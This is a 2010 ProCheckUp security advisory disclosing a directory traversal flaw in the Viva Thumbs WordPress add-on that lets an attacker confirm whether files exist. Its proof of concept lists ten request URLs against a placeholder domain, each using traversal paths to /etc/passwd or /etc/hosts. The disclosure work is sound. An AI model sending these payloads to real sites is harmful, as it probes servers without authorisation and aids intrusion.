WordPress Viva Thumbs Directory Traversal

`http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-04  
  
PR10-04 Directory traversal limited to file validation within Viva  
thumbs WordPress add-on  
  
  
Advisory publicly released: Tuesday, 21 December 2010  
Vulnerability found: Thursday, 4 February 2010  
Vendor informed: Monday, 8 February 2010  
Severity level: Low/Medium  
Credits  
Richard Brain of ProCheckUp Ltd (www.procheckup.com)  
Description  
Viva Thumbs resizes and display images, as part of a popular WordPress  
plugin.ProCheckUp has discovered that Viva Thumbs is vulnerable to a  
directory traversal attack within the image display functionality, the  
directory traversal attack is limited to file existence validation.  
  
Note: tested on Viva Thumbs running on the Linux operating system.  
Proof of concept  
The following demonstrate the traversal flaw:  
  
1) Vulnerable to directory traversal  
  
http://target-domain.foo/show_image_NpAdvCatPG.php?cache=false&cat=1&filename=/../../../../../../etc/passwd  
  
  
http://target-domain.foo/show_image_NpAdvHover.php?cache=false&cat=0&filename=/../../../../../../etc/passwd  
  
  
http://target-domain.foo/show_image_NpAdvInnerSmall.php?cache=false&cat=1&filename=/../../../../../../etc/hosts  
  
  
http://target-domain.foo/show_image_NpAdvMainFea.php?cache=false&cat=1&filename=/../../../../../../etc/passwd  
  
  
http://target-domain.foo/show_image_NpAdvMainPGThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts  
  
  
http://target-domain.foo/show_image_NpAdvFeaThumb.php?cache=false&cat=1&filename=/../../../../../../etc/hosts  
  
  
http://target-domain.foo/show_image_NpAdvSecondaryRight.php?cache=false&cat=1&filename=/../../../../../../etc/hosts  
  
  
http://target-domain.foo/show_image_NpAdvSideFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts  
  
  
http://target-domain.foo/show_image_NpAdvSinglePhoto.php?cache=false&cat=1&filename=/../../../../../../etc/hosts  
  
  
http://target-domain.foo/show_image_NpAdvSubFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts  
  
  
Consequences:  
The existance of files can be validated on the system, outside the  
WordPress webroot.  
How to fix  
None available  
References  
  
  
Legal  
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Permission is granted for copying and circulating this Bulletin to the  
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performed for non-commercial purposes.  
  
Any other use of this information is prohibited. Procheckup is not  
liable for any misuse of this information by any third party.  
`